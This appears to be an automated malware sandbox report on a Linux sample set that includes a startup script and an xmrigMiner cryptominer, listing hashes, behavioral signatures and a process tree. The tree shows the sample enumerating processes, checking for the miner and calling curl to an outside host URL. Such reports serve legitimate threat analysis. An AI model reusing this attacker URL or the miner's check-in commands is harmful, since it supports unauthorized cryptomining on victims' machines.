Overview
overview
10Static
static
10.bin/h32
ubuntu-24.04-amd64
.bin/h64
ubuntu-24.04-amd64
1.bin/md64
ubuntu-24.04-amd64
1.bin/start
ubuntu-18.04-amd64
6.bin/start
debian-9-armhf
6.bin/start
debian-9-mips
7.bin/start
debian-9-mipsel
7.bin/x86/daemon
ubuntu-24.04-amd64
.bin/x86/xmrigMiner
ubuntu-24.04-amd64
Analysis
- max time kernel
148s - max time network
131s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20240508-en - resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system - submitted
16/10/2024, 01:56
Behavioral task
behavioral1
Sample
.bin/h32
Resource
ubuntu2404-amd64-20240523-en
ubuntu-24.04-amd64
Behavioral task
behavioral2
Sample
.bin/h64
Resource
ubuntu2404-amd64-20240523-en
ubuntu-24.04-amd64
Behavioral task
behavioral3
Sample
.bin/md64
Resource
ubuntu2404-amd64-20240523-en
ubuntu-24.04-amd64
Behavioral task
behavioral4
Sample
.bin/start
Resource
ubuntu1804-amd64-20240508-en
ubuntu-18.04-amd64
Behavioral task
behavioral5
Sample
.bin/start
Resource
debian9-armhf-20240611-en
debian-9-armhf
Behavioral task
behavioral6
Sample
.bin/start
Resource
debian9-mipsbe-20240729-en
debian-9-mips
Behavioral task
behavioral7
Sample
.bin/start
Resource
debian9-mipsel-20240611-en
debian-9-mipsel
Behavioral task
behavioral8
Sample
.bin/x86/daemon
Resource
ubuntu2404-amd64-20240523-en
ubuntu-24.04-amd64
Behavioral task
behavioral9
Sample
.bin/x86/xmrigMiner
Resource
ubuntu2404-amd64-20240729-en
ubuntu-24.04-amd64
General
- Target .bin/start
- Size 1KB
- Sample241016-ccn8bsxbjf
- SHA256 f7d60f307239796c0be315a118663e90bebff9e9117839160f3d92fdfe3c040c
- MD5 29a531c149115570d1b9b7029963114a
- SHA1 98fec0e6b4d8c621fc34c72850d23d5781587ca1
- SHA512 030c5e76769aa0f65f6b749096ad7ccde89739413682b1b0a8fafb7d9224e5cddd83e6e44521b87257f9f4ace503ea33753bf483f0b875da1e27d989aba35c71
- MD5 SHA1 SHA512
Malware Config
Signatures
- Enumerates running processes
Discovers information about currently running processes on the system
- Reads CPU attributes 1 TTPs 2 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps -
description ioc Process File opened for reading /proc/3/stat ps File opened for reading /proc/1113/stat ps File opened for reading /proc/1156/status ps File opened for reading /proc/81/stat ps File opened for reading /proc/166/stat ps File opened for reading /proc/172/status ps File opened for reading /proc/610/cmdline ps File opened for reading /proc/1125/status ps File opened for reading /proc/1507/stat ps File opened for reading /proc/98/stat ps File opened for reading /proc/1171/stat ps File opened for reading /proc/1508/stat ps File opened for reading /proc/982/status ps File opened for reading /proc/12/stat ps File opened for reading /proc/12/status ps File opened for reading /proc/333/cmdline ps File opened for reading /proc/609/status ps File opened for reading /proc/15/cmdline ps File opened for reading /proc/1121/status ps File opened for reading /proc/1130/cmdline ps File opened for reading /proc/79/status ps File opened for reading /proc/21/cmdline ps File opened for reading /proc/1171/cmdline ps File opened for reading /proc/28/stat ps File opened for reading /proc/34/cmdline ps File opened for reading /proc/1504/status ps File opened for reading /proc/663/stat ps File opened for reading /proc/1086/status ps File opened for reading /proc/6/status ps File opened for reading /proc/170/status ps File opened for reading /proc/1113/cmdline ps File opened for reading /proc/1138/status ps File opened for reading /proc/16/status ps File opened for reading /proc/1176/stat ps File opened for reading /proc/674/stat ps File opened for reading /proc/13/status ps File opened for reading /proc/162/stat ps File opened for reading /proc/479/stat ps File opened for reading /proc/1180/status ps File opened for reading /proc/78/stat ps File opened for reading /proc/1102/status ps File opened for reading /proc/663/cmdline ps File opened for reading /proc/1171/status ps File opened for reading /proc/175/cmdline ps File opened for reading /proc/1505/stat ps File opened for reading /proc/27/stat ps File opened for reading /proc/12/cmdline ps File opened for reading /proc/1316/stat ps File opened for reading /proc/1101/status ps File opened for reading /proc/1258/cmdline ps File opened for reading /proc/1327/stat ps File opened for reading /proc/6/status ps File opened for reading /proc/13/stat ps File opened for reading /proc/202/cmdline ps File opened for reading /proc/1259/status ps File opened for reading /proc/4/status ps File opened for reading /proc/98/status ps File opened for reading /proc/1258/cmdline ps File opened for reading /proc/20/status ps File opened for reading /proc/15/status ps File opened for reading /proc/83/cmdline ps File opened for reading /proc/487/status ps File opened for reading /proc/609/status ps File opened for reading /proc/1140/status ps
Processes
-
/tmp/.bin/start/tmp/.bin/start1⤵PID:1507
-
/bin/grepgrep Ssl2⤵PID:1511
-
-
/usr/bin/awkawk "{print \$1}"2⤵PID:1512
-
-
/bin/grepgrep sh2⤵PID:1510
-
-
/bin/grepgrep -v grep2⤵PID:1509
-
-
/bin/psps x2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1508
-
-
/usr/bin/awkawk "{print \$1}"2⤵PID:1517
-
-
/bin/grepgrep xmrigMiner2⤵PID:1516
-
-
/bin/grepgrep -v grep2⤵PID:1515
-
-
/bin/psps x2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1514
-
-
/usr/bin/nprocnproc2⤵PID:1519
-
-
/bin/unameuname -m2⤵PID:1520
-
-
/usr/bin/curlcurl http://www.karaibe.us/.foo/remote/info.php2⤵PID:1521
-